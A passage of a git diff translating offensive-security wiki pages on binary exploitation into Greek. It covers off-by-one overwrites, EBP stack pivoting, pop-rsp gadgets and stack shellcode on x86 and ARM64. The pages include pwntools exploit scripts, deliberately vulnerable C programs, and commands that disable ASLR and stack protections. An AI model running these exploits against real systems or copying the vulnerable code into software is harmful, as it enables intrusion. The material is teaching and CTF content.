### Off-by-1 -Actually this is going to by more like a off-by-2 in the stored PC in the stack. Instead of overwriting all the return address we are going to overwrite **only the last 2 bytes** with `0x06c4`. - +Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στο stack. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`. ```python from pwn import * @@ -150,22 +133,20 @@ p.send(payload) print(p.recvline()) p.close() ``` -
-You can find another off-by-one example in ARM64 in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), which is a real off-by-**one** in a fictitious vulnerability. +Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι μια πραγματική off-by-**one** σε μια φανταστική ευπάθεια. -## With PIE +## Με PIE > [!TIP] -> Compile the binary **without the `-no-pie` argument** +> Συγκεντρώστε το δυαδικό **χωρίς το επιχείρημα `-no-pie`** ### Off-by-2 -Without a leak we don't know the exact address of the winning function but we can know the offset of the function from the binary and knowing that the return address we are overwriting is already pointing to a close address, it's possible to leak the offset to the win function (**0x7d4**) in this case and just use that offset: +Χωρίς μια διαρροή δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης, αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατόν να διαρρεύσουμε την απόσταση στη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:
- ```python from pwn import * @@ -185,5 +166,4 @@ p.send(payload) print(p.recvline()) p.close() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a786dea8e..b72f4e16a 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,62 +4,59 @@ ## Basic Information -This technique exploits the ability to manipulate the **Base Pointer (EBP)** to chain the execution of multiple functions through careful use of the EBP register and the **`leave; ret`** instruction sequence. - -As a reminder, **`leave`** basically means: +Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP)** για να αλυσιοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του καταχωρητή EBP και της ακολουθίας εντολών **`leave; ret`**. +Ως υπενθύμιση, **`leave`** σημαίνει βασικά: ``` mov ebp, esp pop ebp ret ``` - -And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. +Και καθώς το **EBP είναι στη στοίβα** πριν από το EIP, είναι δυνατόν να το ελέγξετε ελέγχοντας τη στοίβα. ### EBP2Ret -This technique is particularly useful when you can **alter the EBP register but have no direct way to change the EIP register**. It leverages the behaviour of functions when they finish executing. +Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το μητρώο EBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το μητρώο EIP**. Εκμεταλλεύεται τη συμπεριφορά των συναρτήσεων όταν ολοκληρώνουν την εκτέλεση. -If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ -Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. +Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode σας (συν 4 bytes για να ληφθεί υπόψη η λειτουργία `pop`), μπορείτε έμμεσα να ελέγξετε το EIP. Καθώς το `fvuln` επιστρέφει, το ESP ορίζεται σε αυτήν την κατασκευασμένη τοποθεσία, και η επόμενη λειτουργία `pop` μειώνει το ESP κατά 4, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί.**\ +Σημειώστε ότι **πρέπει να γνωρίζετε 2 διευθύνσεις**: Αυτήν όπου θα πάει το ESP, όπου θα χρειαστεί να γράψετε τη διεύθυνση που δείχνει το ESP. -#### Exploit Construction +#### Κατασκευή Εκμετάλλευσης -First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. +Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα / διευθύνσεις**. Το ESP θα δείχνει εδώ και **θα εκτελέσει το πρώτο `ret`**. -Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: +Στη συνέχεια, πρέπει να γνωρίζετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **εκτελέσει αυθαίρετο κώδικα**. Μπορείτε να χρησιμοποιήσετε: -- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. -- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). -- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. -- Some [**ROP**](../rop-return-oriented-programing/) chain +- Μια έγκυρη διεύθυνση [**ONE_GADGET**](https://github.com/david942j/one_gadget). +- Τη διεύθυνση του **`system()`** ακολουθούμενη από **4 άχρηστα bytes** και τη διεύθυνση του `"/bin/sh"` (x86 bits). +- Τη διεύθυνση ενός **gadget `jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από το **shellcode** που θα εκτελεστεί. +- Μερική [**ROP**](../rop-return-oriented-programing/) αλυσίδα. -Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. +Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή της μνήμης, πρέπει να υπάρχουν **`4` bytes** λόγω του μέρους **`pop`** της εντολής `leave`. Θα ήταν δυνατό να εκμεταλλευτείτε αυτά τα 4B για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να συνεχίσετε να ελέγχετε την εκτέλεση. -#### Off-By-One Exploit +#### Εκμετάλλευση Off-By-One -There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ -Usually it's modified the byte 0x00t o jump as far as possible. +Υπάρχει μια συγκεκριμένη παραλλαγή αυτής της τεχνικής γνωστή ως "Off-By-One Exploit". Χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του EBP**. Σε αυτήν την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα γίνει η **`ret`** πρέπει να μοιράζεται τα πρώτα τρία bytes με το EBP, επιτρέποντας παρόμοια χειρισμό με πιο περιορισμένες συνθήκες.\ +Συνήθως τροποποιείται το byte 0x00 για να πηδήξει όσο το δυνατόν πιο μακριά. -Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. +Επίσης, είναι κοινό να χρησιμοποιείται ένα RET sled στη στοίβα και να τοποθετείται η πραγματική αλυσίδα ROP στο τέλος για να είναι πιο πιθανό ότι το νέο ESP δείχνει μέσα στο RET SLED και η τελική αλυσίδα ROP εκτελείται. ### **EBP Chaining** -Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. +Επομένως, τοποθετώντας μια ελεγχόμενη διεύθυνση στην είσοδο `EBP` της στοίβας και μια διεύθυνση για `leave; ret` στο `EIP`, είναι δυνατόν να **μετακινήσετε το `ESP` στη διεύθυνση ελεγχόμενου `EBP` από τη στοίβα**. -Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: +Τώρα, το **`ESP`** ελέγχεται δείχνοντας σε μια επιθυμητή διεύθυνση και η επόμενη εντολή που θα εκτελεστεί είναι ένα `RET`. Για να το εκμεταλλευτείτε αυτό, είναι δυνατόν να τοποθετήσετε στην ελεγχόμενη θέση ESP αυτό: -- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction -- **`system()`** -> Called by `ret` -- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin -- **`&("/bin/sh")`**-> Param fro `system` +- **`&(next fake EBP)`** -> Φορτώστε το νέο EBP λόγω του `pop ebp` από την εντολή `leave` +- **`system()`** -> Καλείται από το `ret` +- **`&(leave;ret)`** -> Καλείται μετά την ολοκλήρωση του συστήματος, θα μετακινήσει το ESP στο ψεύτικο EBP και θα ξεκινήσει ξανά +- **`&("/bin/sh")`**-> Παράμετρος για το `system` -Basically this way it's possible to chain several fake EBPs to control the flow of the program. +Βασικά, με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος. -This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases. - -Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page: +Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/), αλλά πιο περίπλοκο χωρίς προφανές όφελος, αλλά θα μπορούσε να είναι ενδιαφέρον σε ορισμένες περιπτώσεις. +Επιπλέον, εδώ έχετε ένα [**παράδειγμα πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτήν την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα: ```python from pwn import * @@ -75,34 +72,32 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( - 0x0, # rbp (could be the address of anoter fake RBP) - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, - elf.sym['winner'] +0x0, # rbp (could be the address of anoter fake RBP) +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, +elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( - buffer, # Load leak address in RBP - LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leak address in RBP +LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +## EBP ίσως να μην χρησιμοποιείται -## EBP might not be used - -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\ -This is because the **prologue and epilogue changes** if the binary is optimized. - -- **Not optimized:** +Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις, το **EBP ποτέ δεν ελέγχει το ESP**, επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP θα αποτύχει βασικά γιατί δεν έχει καμία πραγματική επίδραση.\ +Αυτό συμβαίνει επειδή οι **προλόγοι και οι επιλόγοι αλλάζουν** αν το δυαδικό αρχείο είναι βελτιστοποιημένο. +- **Μη βελτιστοποιημένο:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - -- **Optimized:** - +- **Βελτιστοποιημένο:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size @@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` - -## Other ways to control RSP +## Άλλοι τρόποι ελέγχου του RSP ### **`pop rsp`** gadget -[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: - +[**Σε αυτή τη σελίδα**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα **`pop rsp` gadget** και υπάρχει μια **leak από τη στοίβα**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( - 0, # r13 - 0, # r14 - 0, # r15 - POP_RDI, - 0xdeadbeef, - POP_RSI_R15, - 0xdeadc0de, - 0x0, # r15 - elf.sym['winner'] +0, # r13 +0, # r14 +0, # r15 +POP_RDI, +0xdeadbeef, +POP_RSI_R15, +0xdeadc0de, +0x0, # r15 +elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 @@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( - POP_CHAIN, - buffer # rsp +POP_CHAIN, +buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` - ### xchg \, rsp gadget - ``` pop <=== return pointer xchg , rsp ``` - ### jmp esp -Check the ret2esp technique here: +Δείτε την τεχνική ret2esp εδώ: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## References & Other Examples +## Αναφορές & Άλλα Παραδείγματα - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - - 64 bits, off by one exploitation with a rop chain starting with a ret sled +- 64 bits, εκμετάλλευση off by one με μια αλυσίδα rop που ξεκινά με ένα ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - - 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. +- 64 bit, χωρίς relro, canary, nx και pie. Το πρόγραμμα παρέχει μια διαρροή για stack ή pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή του stack και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρήσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και καταλήγει να την καλεί κάνοντας pivoting με RBP. ## ARM64 -In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. +Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το μητρώο SP** στο stack. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά **στη διεύθυνση μέσα στο `x30`**. -Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. +Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το μητρώο SP** αντικαθιστώντας κάποια δεδομένα μέσα στο stack. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το μητρώο `x30`**. -- prologue +- πρόλογος - ```armasm - sub sp, sp, 16 - stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 - mov x29, sp // FP points to frame record - ``` +```armasm +sub sp, sp, 16 +stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 +mov x29, sp // FP points to frame record +``` -- epilogue +- επίλογος - ```armasm - ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] - add sp, sp, 16 - ret - ``` +```armasm +ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] +add sp, sp, 16 +ret +``` > [!CAUTION] -> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. +> Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με το stack pivoting στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο μητρώο του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από το stack και έχουμε μια υπερχείλιση) και στη συνέχεια **να εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **μητρώο `x30`** από ένα **ελεγχόμενο `SP`** και **`RET`** σε αυτό. -Also in the following page you can see the equivalent of **Ret2esp in ARM64**: +Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του **Ret2esp στο ARM64**: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 187c832b7..9ea469d16 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,47 +4,42 @@ ## Basic Information -**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**. +**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στην **binary exploitation** όπου ένας επιτιθέμενος γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** για να δείξει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα στοχευμένο σύστημα. Ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος C και πώς θα μπορούσατε να γράψετε μια αντίστοιχη εκμετάλλευση χρησιμοποιώντας Python με **pwntools**. ### C Example: A Vulnerable Program -Let's start with a simple example of a vulnerable C program: - +Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου προγράμματος C: ```c #include #include void vulnerable_function() { - char buffer[64]; - gets(buffer); // Unsafe function that does not check for buffer overflow +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow } int main() { - vulnerable_function(); - printf("Returned safely\n"); - return 0; +vulnerable_function(); +printf("Returned safely\n"); +return 0; } ``` +Αυτό το πρόγραμμα είναι ευάλωτο σε overflow buffer λόγω της χρήσης της συνάρτησης `gets()`. -This program is vulnerable to a buffer overflow due to the use of the `gets()` function. - -### Compilation - -To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command: +### Συγκέντρωση +Για να συγκεντρώσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - -- `-fno-stack-protector`: Disables stack protection. -- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack. -- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located. -- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development. +- `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας. +- `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα. +- `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας. +- `-m32`: Συγκεντρώνει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων. ### Python Exploit using Pwntools Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: - ```python from pwn import * @@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` +Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στη NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί. -This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. +Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στη NOP slide. -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +## Προστασίες -## Protections +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθείται ποτέ. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα γιατί αυτή η περιοχή δεν θα είναι εκτελέσιμη. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable. - -## Other Examples & References +## Άλλα Παραδείγματα & Αναφορές - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - - 64bit, ASLR with stack address leak, write shellcode and jump to it +- 64bit, ASLR με leak διεύθυνσης στοίβας, γράψτε shellcode και πηδήξτε σε αυτό - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - - 32 bit, ASLR with stack leak, write shellcode and jump to it +- 32 bit, ASLR με leak στοίβας, γράψτε shellcode και πηδήξτε σε αυτό - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it +- 32 bit, ASLR με leak στοίβας, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικαταστήστε μια μεταβλητή με μια τιμή και γράψτε shellcode και πηδήξτε σε αυτό - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack +- arm64, χωρίς ASLR, ROP gadget για να κάνετε τη στοίβα εκτελέσιμη και πηδήξτε στο shellcode στη στοίβα {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 3ad3e61ac..3225374c1 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -2,47 +2,40 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +Βρείτε μια εισαγωγή στο arm64 στο: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code - ```c #include #include void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie, canary and nx: - +Συγκέντρωση χωρίς pie, canary και nx: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` +## Χωρίς ASLR & Χωρίς canary - Stack Overflow -## No ASLR & No canary - Stack Overflow - -To stop ASLR execute: - +Για να σταματήσετε το ASLR εκτελέστε: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +Για να αποκτήσετε το [**offset του bof ελέγξτε αυτόν τον σύνδεσμο**](../ret2win/ret2win-arm64.md#finding-the-offset). -To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset). - -Exploit: - +Εκμετάλλευση: ```python from pwn import * @@ -73,9 +66,8 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` +Το μόνο "περίπλοκο" πράγμα που πρέπει να βρείτε εδώ θα ήταν η διεύθυνση στη στοίβα για να καλέσετε. Στην περίπτωσή μου, δημιούργησα την εκμετάλλευση με τη διεύθυνση που βρήκα χρησιμοποιώντας το gdb, αλλά στη συνέχεια όταν την εκμεταλλεύτηκα δεν λειτούργησε (επειδή η διεύθυνση της στοίβας άλλαξε λίγο). -The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit). - -I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode. +Άνοιξα το παραγόμενο **`core` file** (`gdb ./bog ./core`) και έλεγξα τη πραγματική διεύθυνση της αρχής του shellcode. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md index 6cde48bee..ee4931c36 100644 --- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md +++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md @@ -1,68 +1,66 @@ -# Uninitialized Variables +# Μη Αρχικοποιημένες 